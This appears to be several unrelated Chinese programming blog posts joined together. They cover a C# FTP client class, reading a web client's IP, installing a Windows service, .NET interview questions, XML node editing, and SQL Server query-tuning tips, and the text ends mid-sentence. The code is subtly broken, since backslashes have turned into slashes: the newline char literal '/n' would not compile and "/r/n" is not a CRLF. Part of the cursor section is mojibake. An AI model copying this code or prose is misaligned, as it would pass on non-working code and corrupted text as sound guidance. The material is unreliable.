socketData.Close();//数据socket关闭时也会有返回码 if(iReplyCode != 226) { ReadReply(); if(iReplyCode != 226) { throw new IOException(strReply.Substring(4)); } } return strsFileList; } /**//// <summary> /// 获取文件大小 /// </summary> /// <param name="strFileName">文件名</param> /// <returns>文件大小</returns> private long GetFileSize(string strFileName) { if(!bConnected) { Connect(); } SendCommand("SIZE " + Path.GetFileName(strFileName)); long lSize=0; if(iReplyCode == 213) { lSize = Int64.Parse(strReply.Substring(4)); } else { throw new IOException(strReply.Substring(4)); } return lSize; } /**//// <summary> /// 删除 /// </summary> /// <param name="strFileName">待删除文件名</param> public void Delete(string strFileName) { if(!bConnected) { Connect(); } SendCommand("DELE "+strFileName); if(iReplyCode != 250) { throw new IOException(strReply.Substring(4)); } } /**//// <summary> /// 重命名(如果新文件名与已有文件重名,将覆盖已有文件) /// </summary> /// <param name="strOldFileName">旧文件名</param> /// <param name="strNewFileName">新文件名</param> public void Rename(string strOldFileName,string strNewFileName) { if(!bConnected) { Connect(); } SendCommand("RNFR "+strOldFileName); if(iReplyCode != 350) { throw new IOException(strReply.Substring(4)); } // 如果新文件名与原有文件重名,将覆盖原有文件 SendCommand("RNTO "+strNewFileName); if(iReplyCode != 250) { throw new IOException(strReply.Substring(4)); } } #endregion #region 上传和下载 /**//// <summary> /// 下载一批文件 /// </summary> /// <param name="strFileNameMask">文件名的匹配字符串</param> /// <param name="strFolder">本地目录(不得以/结束)</param> public void Get(string strFileNameMask,string strFolder) { if(!bConnected) { Connect(); } string[] strFiles = Dir(strFileNameMask); foreach(string strFile in strFiles) { if(!strFile.Equals(""))//一般来说strFiles的最后一个元素可能是空字符串 { Get(strFile,strFolder,strFile); } } } /**//// <summary> /// 下载一个文件 /// </summary> /// <param name="strRemoteFileName">要下载的文件名</param> /// <param name="strFolder">本地目录(不得以/结束)</param> /// <param name="strLocalFileName">保存在本地时的文件名</param> public void Get(string strRemoteFileName,string strFolder,string strLocalFileName) { if(!bConnected) { Connect(); } SetTransferType(TransferType.Binary); if (strLocalFileName.Equals("")) { strLocalFileName = strRemoteFileName; } if(!File.Exists(strFolder + "//" +strLocalFileName)) { Stream st = File.Create(strFolder + "//" +strLocalFileName); st.Close(); } FileStream output = new FileStream(strFolder + "//" + strLocalFileName,FileMode.Create); Socket socketData = CreateDataSocket(); SendCommand("RETR " + strRemoteFileName); if(!(iReplyCode == 150 || iReplyCode == 125 || iReplyCode == 226 || iReplyCode == 250)) { throw new IOException(strReply.Substring(4)); } while(true) { int iBytes = socketData.Receive(buffer, buffer.Length, 0); output.Write(buffer,0,iBytes); if(iBytes <= 0) { break; } } output.Close(); if (socketData.Connected) { socketData.Close(); } if(!(iReplyCode == 226 || iReplyCode == 250)) { ReadReply(); if(!(iReplyCode == 226 || iReplyCode == 250)) { throw new IOException(strReply.Substring(4)); } } } /**//// <summary> /// 上传一批文件 /// </summary> /// <param name="strFolder">本地目录(不得以/结束)</param> /// <param name="strFileNameMask">文件名匹配字符(可以包含*和?)</param> public void Put(string strFolder,string strFileNameMask) { string[] strFiles = Directory.GetFiles(strFolder,strFileNameMask); foreach(string strFile in strFiles) { //strFile是完整的文件名(包含路径) Put(strFile); } } /**//// <summary> /// 上传一个文件 /// </summary> /// <param name="strFileName">本地文件名</param> public void Put(string strFileName) { if(!bConnected) { Connect(); } Socket socketData = CreateDataSocket(); SendCommand("STOR "+Path.GetFileName(strFileName)); if( !(iReplyCode == 125 || iReplyCode == 150) ) { throw new IOException(strReply.Substring(4)); } FileStream input = new FileStream(strFileName,FileMode.Open); int iBytes = 0; while ((iBytes = input.Read(buffer,0,buffer.Length)) > 0) { socketData.Send(buffer, iBytes, 0); } input.Close(); if (socketData.Connected) { socketData.Close(); } if(!(iReplyCode == 226 || iReplyCode == 250)) { ReadReply(); if(!(iReplyCode == 226 || iReplyCode == 250)) { throw new IOException(strReply.Substring(4)); } } } #endregion #region 目录操作 /**//// <summary> /// 创建目录 /// </summary> /// <param name="strDirName">目录名</param> public void MkDir(string strDirName) { if(!bConnected) { Connect(); } SendCommand("MKD "+strDirName); if(iReplyCode != 257) { throw new IOException(strReply.Substring(4)); } } /**//// <summary> /// 删除目录 /// </summary> /// <param name="strDirName">目录名</param> public void RmDir(string strDirName) { if(!bConnected) { Connect(); } SendCommand("RMD "+strDirName); if(iReplyCode != 250) { throw new IOException(strReply.Substring(4)); } } /**//// <summary> /// 改变目录 /// </summary> /// <param name="strDirName">新的工作目录名</param> public void ChDir(string strDirName) { if(strDirName.Equals(".") || strDirName.Equals("")) { return; } if(!bConnected) { Connect(); } SendCommand("CWD "+strDirName); if(iReplyCode != 250) { throw new IOException(strReply.Substring(4)); } this.strRemotePath = strDirName; } #endregion #region 内部变量 /**//// <summary> /// 服务器返回的应答信息(包含应答码) /// </summary> private string strMsg; /**//// <summary> /// 服务器返回的应答信息(包含应答码) /// </summary> private string strReply; /**//// <summary> /// 服务器返回的应答码 /// </summary> private int iReplyCode; /**//// <summary> /// 进行控制连接的socket /// </summary> private Socket socketControl; /**//// <summary> /// 传输模式 /// </summary> private TransferType trType; /**//// <summary> /// 接收和发送数据的缓冲区 /// </summary> private static int BLOCK_SIZE = 512; Byte[] buffer = new Byte[BLOCK_SIZE]; /**//// <summary> /// 编码方式 /// </summary> Encoding ASCII = Encoding.ASCII; #endregion #region 内部函数 /**//// <summary> /// 将一行应答字符串记录在strReply和strMsg /// 应答码记录在iReplyCode /// </summary> private void ReadReply() { strMsg = ""; strReply = ReadLine(); iReplyCode = Int32.Parse(strReply.Substring(0,3)); } /**//// <summary> /// 建立进行数据连接的socket /// </summary> /// <returns>数据连接socket</returns> private Socket CreateDataSocket() { SendCommand("PASV"); if(iReplyCode != 227) { throw new IOException(strReply.Substring(4)); } int index1 = strReply.IndexOf('('); int index2 = strReply.IndexOf(')'); string ipData = strReply.Substring(index1+1,index2-index1-1); int[] parts = new int[6]; int len = ipData.Length; int partCount = 0; string buf=""; for (int i = 0; i < len && partCount <= 6; i++) { char ch = Char.Parse(ipData.Substring(i,1)); if (Char.IsDigit(ch)) buf+=ch; else if (ch != ',') { throw new IOException("Malformed PASV strReply: " + strReply); } if (ch == ',' || i+1 == len) { try { parts[partCount++] = Int32.Parse(buf); buf=""; } catch (Exception) { throw new IOException("Malformed PASV strReply: " + strReply); } } } string ipAddress = parts[0] + "."+ parts[1]+ "." + parts[2] + "." + parts[3]; int port = (parts[4] << 8) + parts[5]; Socket s = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); IPEndPoint ep = new IPEndPoint(IPAddress.Parse(ipAddress), port); try { s.Connect(ep); } catch(Exception) { throw new IOException("Can't connect to remote server"); } return s; } /**//// <summary> /// 关闭socket连接(用于登录以前) /// </summary> private void CloseSocketConnect() { if(socketControl!=null) { socketControl.Close(); socketControl = null; } bConnected = false; } /**//// <summary> /// 读取Socket返回的所有字符串 /// </summary> /// <returns>包含应答码的字符串行</returns> private string ReadLine() { while(true) { int iBytes = socketControl.Receive(buffer, buffer.Length, 0); strMsg += ASCII.GetString(buffer, 0, iBytes); if(iBytes < buffer.Length) { break; } } char[] seperator = {'/n'}; string[] mess = strMsg.Split(seperator); if(strMsg.Length > 2) { strMsg = mess[mess.Length-2]; //seperator[0]是10,换行符是由13和0组成的,分隔后10后面虽没有字符串, //但也会分配为空字符串给后面(也是最后一个)字符串数组, //所以最后一个mess是没用的空字符串 //但为什么不直接取mess[0],因为只有最后一行字符串应答码与信息之间有空格 } else { strMsg = mess[0]; } if(!strMsg.Substring(3,1).Equals(" "))//返回字符串正确的是以应答码(如220开头,后面接一空格,再接问候字符串) { return ReadLine(); } return strMsg; } /**//// <summary> /// 发送命令并获取应答码和最后一行应答字符串 /// </summary> /// <param name="strCommand">命令</param> private void SendCommand(String strCommand) { Byte[] cmdBytes = Encoding.ASCII.GetBytes((strCommand+"/r/n").ToCharArray()); socketControl.Send(cmdBytes, cmdBytes.Length, 0); ReadReply(); } #endregion } } 该工具类还提供一些文件操作,注释也比较丰富,再次向这个类的作者致敬。 ------------------------------------------------- 这个类有一种无法处理的情况,如果FTP服务器使用SSL或者SSH2安全协议搭建的Secure FTP Server,就无法链接上了。在网上找到一个可行的办法,见文章:http://blog.csdn.net/venus0314/archive/2006/09/21/1262386.aspx 原理是利用psftp.exe工具来上传文件,上传过程和通讯协议都被隐藏了,通过流写DOS命令来文件的复制与粘贴的操作。我写过测试类,但没有成功,不过应该是一个可行的办法,正在想办法研究,如果有结果将会在博客中放出来。 psftp.exe比较难找,但还是找的到的。google吧! ------------------------------------------------- Updated On 2008-10-21 FTPClient类中没有包含Append的功能,即将本地文件的内容追加到远程文件上的功能。这里,我放上来一个通过了测试的Append方法: /// <summary> /// 文件Append操作 /// </summary> /// <param name="strFileName">被Append的本地文件名,要求与远程文件名一致</param> public void Append(string strFileName) { if(!bConnected) Connect(); Socket socketData = CreateDataSocket(); SetTransferType(TransferType.Binary); SendCommand("APPE " + Path.GetFileName(strFileName)); if( !(iReplyCode == 125 || iReplyCode == 150) ) { throw new IOException(strReply.Substring(4)); } FileStream input = new FileStream(strFileName,FileMode.Open); int iBytes = 0; while ((iBytes = input.Read(buffer,0,buffer.Length)) > 0) { socketData.Send(buffer, iBytes, 0); } input.Close(); if (socketData.Connected) { socketData.Close(); } if(!(iReplyCode == 226 || iReplyCode == 250)) { ReadReply(); if(!(iReplyCode == 226 || iReplyCode == 250)) { throw new IOException(strReply.Substring(4)); } } } 这里没有提供指定FTP远程服务器上文件名的功能,要求你上传的本地文件名与远程数据库文件名一致。事实上,我做过指定远程文件名的尝试,即将命令该为“APPE local-file remote-file”的格式,但我发现,结果是,它把本地文件的内容传上去后,生成了一个文件名为local-file与remote-file拼接后的新文件,令人费解!!
获取客户端IP private string GetClientIP() { string result = HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"]; if (null == result || result == String.Empty) { result = HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"]; } if (null == result || result == String.Empty) { result = HttpContext.Current.Request.UserHostAddress; } return result; } 获取Web服务器IP private string GetServerIP() { return System.Web.HttpContext.Current.Request.ServerVariables["Local_Addr"]; }
1. 如何安装服务? 利用.Net Framework带的服务安装工具InstallUtil.exe,它位于c:/windows/Microsoft.Net/Framework/v1.1.4322/文件夹下。 打开Visual Studio .Net 200* 命令提示,安装命令是: InstallUtil c:/test.exe (c:/test.exe则为需要安装的windows服务,如果路径上带空格,则需要在外面添加引号,例如:InstallUtil "c:/program files/test.exe") 如果是打开的Dos命令控制台,则需要在InstallUtil前,加上路径,命令格式如下: c:/windows/Microsoft.Net/Framework/v1.1.4322/InstallUtil.exe c:/test.exe 卸载服务,在InstallUtil后添加-u参数即可: InstallUtil -u c:/test.exe 2. 安装时,弹出对话框,需要输入用户名和密码,如何去掉输入框? 在Visual Studio开发环境下,打开windows服务项目,找到文件ProjectInstaller.cs,该文件是新建windows服务后,自带的安装文件,里面包含了安装服务的密码、服务名等设置,和初始化的方法。 查看代码,找到方法InitializeComponent(),将登陆帐户设置为系统本地帐户即可: this.serviceProcessInstaller1.Account = System.ServiceProcess.ServiceAccount.LocalSystem; 3. Windows服务名如何修改? 安装好服务之后,我们可以在“服务”的窗口中,看到你注册的服务组件了,右键菜单中有开始服务的选项。那么服务名如何修改呢? 同样在ProjectInstaller.cs类中的InitializeComponent()方法中,添加设置: this.serviceInstaller1.DisplayName = "Test Server"; 注意:这个只是服务的别名,事实上服务的实际名称是this.serviceInstaller1.ServiceName,而如果你注册服务时,有两个windows服务的ServiceName一致的话,将会抛出服务已存在的异常(即使你的DisplayName不一样)。 4. 找不到配置文件。 如果Windows服务带了除App.cofig之外的配置文件,则需要将它拷贝到安装.exe文件所在的目录,例如:如果你安装c:/test.exe服务,则需要将该配置文件拷贝到c:/目录下。
1. 一列数的规则如下: 1、1、2、3、5、8、13、21、34...... 求第30位数是多少, 用递归算法实现。public class MainClass { public static void Main() { Console.WriteLine(Foo(30)); } public static int Foo(int i) { if (i <= 0) return 0; else if(i > 0 && i <= 2) return 1; else return Foo(i -1) + Foo(i - 2); } }<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /> 2. 请编程遍历页面上所有TextBox控件并给它赋值为string.Empty? foreach (System.Windows.Forms.Control control in this.Controls) { if (control is System.Windows.Forms.TextBox) { System.Windows.Forms.TextBox tb = (System.Windows.Forms.TextBox)control ; tb.Text = String.Empty ; } } 3. 产生一个int数组,长度为100,并向其中随机插入1-100,并且不能重复。 int[] intArr = new int[100]; ArrayList myList = new ArrayList(); Random rnd = new Random(); while (myList.Count < 100) { int num = rnd.Next(1, 101); if (!myList.Contains(num)) myList.Add(num); } for (int i = 0; i <100; i++) { intArr[i] = (int)myList[i]; Console.Write("{0} ", intArr[i]); Console.WriteLine(); } 4. sql:对一个有百万行数据的表的某几个字段进行模糊查询,有几种方式。 5. select * from user_info where user_name in ( select user_name from user) 怎么提高这条语句的执行效率(可改写sql语句的结构)。 6. 使用XML作为数据库载体,自行设计XML结构。使用.Net三层架构设计思想。写出对如下数据的读,写,修改 说明:节点1、节点2、节点3、节点4为根节点。节点5为节点1的第一个子节点,节点6为节点5的第一个子节点,节点七为节点5的第二个子节点,以此类推。 要求: ü 新增节点时可根据选中的节点增加其子节点,也可新增根节点. ü 修改时可修改节点名称,节点所属的父节点。 ü 删除节点 注意:删除节点时,如该节点有子节点,则需要将该节点的所有子节点的父节点改为被删除节点的父节点(如删除节点5,则节点6的ID改为0101,节点7的ID改为0103) 修改节点的父节点时,情况与删除节点相同 ID 名称 0001 节点1 0002 节点2 0003 节点3 0004 节点4 00010001 节点5 000100010001 节点6 000100010002 节点7 00010002 节点8 000100020001 节点9
下面有代码调试正确 using System;using System.Collections;using System.ComponentModel;using System.Data;using System.Drawing;using System.Web;using System.Web.SessionState;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.HtmlControls;using System.Xml;private XmlDocument xmlDoc; //load xml file private void LoadXml() { xmlDoc=new XmlDocument(); xmlDoc.Load(Server.MapPath("User.xml")); } //添加节点 private void AddElement() { LoadXml(); XmlNode xmldocSelect=xmlDoc.SelectSingleNode("user"); XmlElement el=xmlDoc.CreateElement("person"); //添加person节点 el.SetAttribute("name","风云"); //添加person节点的属性"name" el.SetAttribute("sex","女"); //添加person节点的属性 "sex" el.SetAttribute("age","25"); //添加person节点的属性 "age" XmlElement xesub1=xmlDoc.CreateElement("pass"); //添加person节点的里的节点 xesub1.InnerText="123";//设置文本节点 el.AppendChild(xesub1); XmlElement xesub2=xmlDoc.CreateElement("Address"); xesub2.InnerText="昆明";//设置文本节点 el.AppendChild(xesub2); xmldocSelect.AppendChild(el); xmlDoc.Save(Server.MapPath("user.xml")); } //修改节点 private void UpdateElement() { LoadXml(); XmlNodeList nodeList=xmlDoc.SelectSingleNode("user").ChildNodes;//获取bookstore节点的所有子节点 foreach(XmlNode xn in nodeList)//遍历所有子节点 { XmlElement xe=(XmlElement)xn;//将子节点类型转换为XmlElement类型 if(xe.GetAttribute("name")=="风云")//如果name属性值为“风云” { xe.SetAttribute("name","发明"); //如果下面有子节点在下走 XmlNodeList nls=xe.ChildNodes;//继续获取xe子节点的所有子节点 foreach(XmlNode xn1 in nls)//遍历 { XmlElement xe2=(XmlElement)xn1;//转换类型 if(xe2.Name=="pass")//如果找到 { xe2.InnerText="66666";//则修改 break; } } break; } } xmlDoc.Save(Server.MapPath("user.xml"));//保存 } //删出节点 private void deleteNode() { LoadXml(); XmlNodeList xnl=xmlDoc.SelectSingleNode("user").ChildNodes; foreach(XmlNode xn in xnl) { XmlElement xe=(XmlElement)xn; if(xe.GetAttribute("name")=="发明") { //xe.RemoveAttribute("name");//删除name属性 xe.RemoveAll();//删除该节点的全部内容 break; } } xmlDoc.Save(Server.MapPath("user.xml"));//保存 } private void showIt() { LoadXml(); XmlNode xn=xmlDoc.SelectSingleNode("user"); XmlNodeList xnl=xn.ChildNodes; foreach(XmlNode xnf in xnl) { XmlElement xe=(XmlElement)xnf;// Console.WriteLine(xe.GetAttribute("name"));//显示属性值// Console.WriteLine(xe.GetAttribute("sex"));// // XmlNodeList xnf1=xe.ChildNodes;// foreach(XmlNode xn2 in xnf1)// {// Console.WriteLine(xn2.InnerText);//显示子节点点文本// } } } Xml的样式:<?xml version="1.0" encoding="gb2312"?><user> <person> </person> <person name="风拉" sex="男" age="25"> <pass>123</pass> <Address>大明</Address> </person> <person name="风云" sex="女" age="25"> <pass>123</pass> <Address>昆明</Address> </person></user>
●查询速度慢的原因很多,常见如下几种:1、没有索引或者没有用到索引(这是查询慢最常见的问题,是程序设计的缺陷)2、I/O吞吐量小,形成了瓶颈效应。3、没有创建计算列导致查询不优化。4、内存不足5、网络速度慢6、查询出的数据量过大(可以采用多次查询,其他的方法降低数据量)7、锁或者死锁(这也是查询慢最常见的问题,是程序设计的缺陷)sp_lock,sp_who,活动的用户查看,原因是读写竞争资源。9、返回了不必要的行和列10、查询语句不好,没有优化 ●可以通过如下方法来优化查询 :1、把数据、日志、索引放到不同的I/O设备上,增加读取速度,以前可以将Tempdb应放在RAID0上,SQL2000不在支持。数据量(尺寸)越大,提高I/O越重要.2、纵向、横向分割表,减少表的尺寸(sp_spaceuse)3、升级硬件4、根据查询条件,建立索引,优化索引、优化访问方式,限制结果集的数据量。注意填充因子要适当(最好是使用默认值0)。索引应该尽量小,使用字节数小的列建索引好(参照索引的创建),不要对有限的几个值的字段建单一索引如性别字段5、提高网速;6、扩大服务器的内存,Windows 2000和SQL server 2000能支持4-8G的内存。配置虚拟内存:虚拟内存大小应基于计算机上并发运行的服务进行配置。运行 Microsoft SQL Server™ 2000 时,可考虑将虚拟内存大小设置为计算机中安装的物理内存的 1.5 倍。如果另外安装了全文检索功能,并打算运行 Microsoft 搜索服务以便执行全文索引和查询,可考虑:将虚拟内存大小配置为至少是计算机中安装的物理内存的 3 倍。将 SQL Server max server memory 服务器配置选项配置为物理内存的 1.5 倍(虚拟内存大小设置的一半)。7、增加服务器CPU个数;但是必须明白并行处理串行处理更需要资源例如内存。使用并行还是串行程是MsSQL自动评估选择的。单个任务分解成多个任务,就可以在处理器上运行。例如耽搁查询的排序、连接、扫描和GROUP BY字句同时执行,SQL SERVER根据系统的负载情况决定最优的并行等级,复杂的需要消耗大量的CPU的查询最适合并行处理。但是更新操作UPDATE,INSERT, DELETE还不能并行处理。 8、如果是使用like进行查询的话,简单的使用index是不行的,但是全文索引,耗空间。like 'a%' 使用索引like '%a' 不使用索引用 like '%a%' 查询时,查询耗时和字段值总长度成正比,所以不能用CHAR类型,而是VARCHAR。对于字段的值很长的建全文索引。9、DB Server 和APPLication Server 分离;OLTP和OLAP分离10、分布式分区视图可用于实现数据库服务器联合体。联合体是一组分开管理的服务器,但它们相互协作分担系统的处理负荷。这种通过分区数据形成数据库服务器联合体的机制能够扩大一组服务器,以支持大型的多层 Web 站点的处理需要。有关更多信息,参见设计联合数据库服务器。(参照SQL帮助文件'分区视图')a、在实现分区视图之前,必须先水平分区表 b、在创建成员表后,在每个成员服务器上定义一个分布式分区视图,并且每个视图具有相同的名称。这样,引用分布式分区视图名的查询可以在任何一个成员服务器上运行。系统操作如同每个成员服务器上都有一个原始表的复本一样,但其实每个服务器上只有一个成员表和一个分布式分区视图。数据的位置对应用程序是透明的。11、重建索引 DBCC REINDEX ,DBCC INDEXDEFRAG,收缩数据和日志 DBCC SHRINKDB,DBCC SHRINKFILE.设置自动收缩日志.对于大的数据库不要设置数据库自动增长,它会降低服务器的性能。 在T-sql的写法上有很大的讲究,下面列出常见的要点:首先,DBMS处理查询计划的过程是这样的:1、 查询语句的词法、语法检查2、 将语句提交给DBMS的查询优化器3、 优化器做代数优化和存取路径的优化4、 由预编译模块生成查询规划5、 然后在合适的时间提交给系统处理执行6、 最后将执行结果返回给用户其次,看一下SQL SERVER的数据存放的结构:一个页面的大小为8K(8060)字节,8个页面为一个盘区,按照B树存放。Commit和rollback的区别Rollback:回滚所有的事物。Commit:提交当前的事物.没有必要在动态SQL里写事物,如果要写请写在外面如:begin tranexec(@s)commit trans或者将动态SQL 写成函数或者存储过程。 13、在查询Select语句中用Where字句限制返回的行数,避免表扫描,如果返回不必要的数据,浪费了服务器的I/O资源,加重了网络的负担降低性能。如果表很大,在表扫描的期间将表锁住,禁止其他的联接访问表,后果严重。14、SQL的注释申明对执行没有任何影响15、尽可能不使用光标,它占用大量的资源。如果需要row-by-row地执行,尽量采用非光标技术,如:在客户端循环,用临时表,Table变量,用子查询,用Case语句等等。游标可以按照它所支持的提取选项进行分类: 只进 必须按照从第一行到最后一行的顺序提取行。FETCH NEXT 是唯一允许的提取操作,也是默认方式。可滚动性 可以在游标中任何地方随机提取任意行。游标的技术在SQL2000下变得功能很强大,他的目的是支持循环。有四个并发选项 READ_ONLY:不允许通过游标定位更新(Update),且在组成结果集的行中没有锁。OPTIMISTIC WITH valueS:乐观并发控制是事务控制理论的一个标准部分。乐观并发控制用于这样的情形,即在打开游标及更新行的间隔中,只有很小的机会让第二个用户更新某一行。当某个游标以此选项打开时,没有锁控制其中的行,这将有助于最大化其处理能力。如果用户试图修改某一行,则此行的当前值会与最后一次提取此行时获取的值进行比较。如果任何值发生改变,则服务器就会知道其他人已更新了此行,并会返回一个错误。如果值是一样的,服务器就执行修改。 选择这个并发选项 仁褂没Щ虺绦蛟背械T鹑危 砟切┍硎酒渌 没б丫 云浣 辛诵薷牡拇砦蟆Sτ贸绦蚴盏秸庵执砦笫辈扇〉牡湫痛胧┚褪撬⑿掠伪辏 竦闷湫轮担 缓笕糜没Ь龆ㄊ欠穸孕轮到 行薷摹?BR>OPTIMISTIC WITH ROW VERSIONING:此乐观并发控制选项基于行版本控制。使用行版本控制,其中的表必须具有某种版本标识符,服务器可用它来确定该行在读入游标后是否有所更改。在 SQL Server 中,这个性能由 timestamp 数据类型提供,它是一个二进制数字,表示数据库中更改的相对顺序。每个数据库都有一个全局当前时间戳值:@@DBTS。每次以任何方式更改带有 timestamp 列的行时,SQL Server 先在时间戳列中存储当前的 @@DBTS 值,然后增加 @@DBTS 的值。如果某 个表具有 timestamp 列,则时间戳会被记到行级。服务器就可以比较某行的当前时间戳值和上次提取时所存储的时间戳值,从而确定该行是否已更新。服务器不必比较所有列的值,只需比较 timestamp 列即可。如果应用程序对没有 timestamp 列的表要求基于行版本控制的乐观并发,则游标默认为基于数值的乐观并发控制。SCROLL LOCKS这个选项实现悲观并发控制。在悲观并发控制中,在把数据库的行读入游标结果集时,应用程序将试图锁定数据库行。在使用服务器游标时,将行读入游标时会在其上放置一个更新锁。如果在事务内打开游标,则该事务更新锁将一直保持到事务被提交或回滚;当提取下一行时,将除去游标锁。如果在事务外打开游标,则提取下一行时,锁就被丢弃。因此,每当用户需要完全的悲观并发控制时,游标都应在事务内打开。更新锁将阻止任何其它任务获取更新锁或排它锁,从而阻止其它任务更新该行。然而,更新锁并不阻止共享锁,所以它不会阻止其它任务读取行,除非第二个任务也在要求带更新锁的读取。滚动锁根据在游标定义的 SELECT 语句中指定的锁提示,这些游标并发选项可以生成滚动锁。滚动锁在提取时在每行上获取,并保持到下次提取或者游标关闭,以先发生者为准。下次提取时,服务器为新提取中的行获取滚动锁,并释放上次提取中行的滚动锁。滚动锁独立于事务锁,并可以保持到一个提交或回滚操作之后。如果提交时关闭游标的选项为关,则 COMMIT 语句并不关闭任何打开的游标,而且滚动锁被保留到提交之后,以维护对所提取数据的隔离。所获取滚动锁的类型取决于游标并发选项和游标 SELECT 语句中的锁提示。锁提示 只读 乐观数值 乐观行版本控制 锁定无提示 未锁定 未锁定 未锁定 更新NOLOCK 未锁定 未锁定 未锁定 未锁定HOLDLOCK 共享 共享 共享 更新UPDLOCK 错误 更新 更新 更新TABLOCKX 错误 未锁定 未锁定 更新其它 未锁定 未锁定 未锁定 更新*指定 NOLOCK 提示将使指定了该提示的表在游标内是只读的。16、用Profiler来跟踪查询,得到查询所需的时间,找出SQL的问题所在;用索引优化器优化索引17、注意UNion和UNion all 的区别。UNION all好18、注意使用DISTINCT,在没有必要时不要用,它同UNION一样会使查询变慢。重复的记录在查询里是没有问题的19、查询时不要返回不需要的行、列 20、用sp_configure 'query governor cost limit'或者SET QUERY_GOVERNOR_COST_LIMIT来限制查询消耗的资源。当评估查询消耗的资源超出限制时,服务器自动取消查询,在查询之前就扼杀掉。 SET LOCKTIME设置锁的时间 21、用select top 100 / 10 Percent 来限制用户返回的行数或者SET ROWCOUNT来限制操作的行22、在SQL2000以前,一般不要用如下的字句: "IS NULL", "<>", "!=", "!>", "!<", "NOT", "NOT EXISTS", "NOT IN", "NOT LIKE", and "LIKE '%500'",因为他们不走索引全是表扫描。也不要在WHere字句中的列名加函数,如Convert,substring等,如果必须用函数的时候,创建计算列再创建索引来替代.还可以变通写法:WHERE SUBSTRING(firstname,1,1) = 'm'改为WHERE firstname like 'm%'(索引扫描),一定要将函数和列名分开。并且索引不能建得太多和太大。NOT IN会多次扫描表,使用EXISTS、NOT EXISTS ,IN , LEFT OUTER JOIN 来替代,特别是左连接,而Exists比IN更快,最慢的是NOT操作.如果列的值含有空,以前它的索引不起作用,现在2000的优化器能够处理了。相同的是IS NULL,“NOT", "NOT EXISTS", "NOT IN"能优化她,而”<>”等还是不能优化,用不到索引。23、使用Query Analyzer,查看SQL语句的查询计划和评估分析是否是优化的SQL。一般的20%的代码占据了80%的资源,我们优化的重点是这些慢的地方。24、如果使用了IN或者OR等时发现查询没有走索引,使用显示申明指定索引:SELECT * FROM PersonMember (INDEX = IX_Title) WHERE processid IN (‘男’,‘女’)25、将需要查询的结果预先计算好放在表中,查询的时候再SELECT。这在SQL7.0以前是最重要的手段。例如医院的住院费计算。26、MIN() 和 MAX()能使用到合适的索引。27、数据库有一个原则是代码离数据越近越好,所以优先选择Default,依次为Rules,Triggers, Constraint(约束如外健"主健"Check"UNIQUE……,数据类型的最大长度等等都是约束),Procedure.这样不仅维护工作小,编写程序质量高,并且执行的速度快。 28、如果要插入大的二进制值到Image列,使用存储过程,千万不要用内嵌INsert来插入(不知JAVA是否)。因为这样应用程序首先将二进制值转换成字符串(尺寸是它的两倍),服务器受到字符后又将他转换成二进制值.存储过程就没有这些动作:方法:Create procedure p_insert as insert into table(Fimage) values (@image),在前台调用这个存储过程传入二进制参数,这样处理速度明显改善。 29、Between在某些时候比IN速度更快,Between能够更快地根据索引找到范围。用查询优化器可见到差别。select * from chineseresume where title in ('男','女')Select * from chineseresume where between '男' and '女'是一样的。由于in会在比较多次,所以有时会慢些。 30、在必要是对全局或者局部临时表创建索引,有时能够提高速度,但不是一定会这样,因为索引也耗费大量的资源。他的创建同是实际表一样。 31、不要建没有作用的事物例如产生报表时,浪费资源。只有在必要使用事物时使用它。32、用OR的字句可以分解成多个查询,并且通过UNION 连接多个查询。他们的速度只同是否使用索引有关,如果查询需要用到联合索引,用UNION all执行的效率更高.多个OR的字句没有用到索引,改写成UNION的形式再试图与索引匹配。一个关键的问题是否用到索引。33、尽量少用视图,它的效率低。对视图操作比直接对表操作慢,可以用stored procedure来代替她。特别的是不要用视图嵌套,嵌套视图增加了寻找原始资料的难度。我们看视图的本质:它是存放在服务器上的被优化好了的已经产生了查询规划的SQL。对单个表检索数据时,不要使用指向多个表的视图,直接从表检索或者仅仅包含这个表的视图上读,否则增加了不必要的开销,查询受到干扰.为了加快视图的查询,MsSQL增加了视图索引的功能。34、没有必要时不要用DISTINCT和ORDER BY,这些动作可以改在客户端执行。它们增加了额外的开销。这同UNION 和UNION ALL一样的道理。SELECT top 20 ad.companyname,comid,position,ad.referenceid,worklocation,convert(varchar(10),ad.postDate,120) as postDate1,workyear,degreedescription FROM jobcn_query.dbo.COMPANYAD_query ad where referenceID in('JCNAD00329667','JCNAD132168','JCNAD00337748','JCNAD00338345','JCNAD00333138','JCNAD00303570','JCNAD00303569','JCNAD00303568','JCNAD00306698','JCNAD00231935','JCNAD00231933','JCNAD00254567','JCNAD00254585','JCNAD00254608','JCNAD00254607','JCNAD00258524','JCNAD00332133','JCNAD00268618','JCNAD00279196','JCNAD00268613') order by postdate desc 35、在IN后面值的列表中,将出现最频繁的值放在最前面,出现得最少的放在最后面,减少判断的次数。 36、当用SELECT INTO时,它会锁住系统表(sysobjects,sysindexes等等),阻塞其他的连接的存取。创建临时表时用显示申明语句,而不是select INTO. drop table t_lxhbegin transelect * into t_lxh from chineseresume where name = 'XYZ'--commit在另一个连接中SELECT * from sysobjects可以看到SELECT INTO 会锁住系统表,Create table 也会锁系统表(不管是临时表还是系统表)。所以千万不要在事物内使用它!!!这样的话如果是经常要用的临时表请使用实表,或者临时表变量。37、一般在GROUP BY 个HAVING字句之前就能剔除多余的行,所以尽量不要用它们来做剔除行的工作。他们的执行顺序应该如下最优:select 的Where字句选择所有合适的行,Group By用来分组个统计行,Having字句用来剔除多余的分组。这样Group By 个Having的开销小,查询快.对于大的数据行进行分组和Having十分消耗资源。如果Group BY的目的不包括计算,只是分组,那么用Distinct更快41、一次更新多条记录比分多次更新每次一条快,就是说批处理好42、少用临时表,尽量用结果集和Table类性的变量来代替它,Table 类型的变量比临时表好43、在SQL2000下,计算字段是可以索引的,需要满足的条件如下:a、计算字段的表达是确定的b、不能用在TEXT,Ntext,Image数据类型c、必须配制如下选项ANSI_NULLS = ON, ANSI_PADDINGS = ON, ……. 44、尽量将数据的处理工作放在服务器上,减少网络的开销,如使用存储过程。存储过程是编译好、优化过、并且被组织到一个执行规划里、且存储在数据库中的SQL 语句,是控制流语言的集合,速度当然快。反复执行的动态SQL,可以使用临时存储过程,该过程(临时表)被放在Tempdb中。以前由于SQL 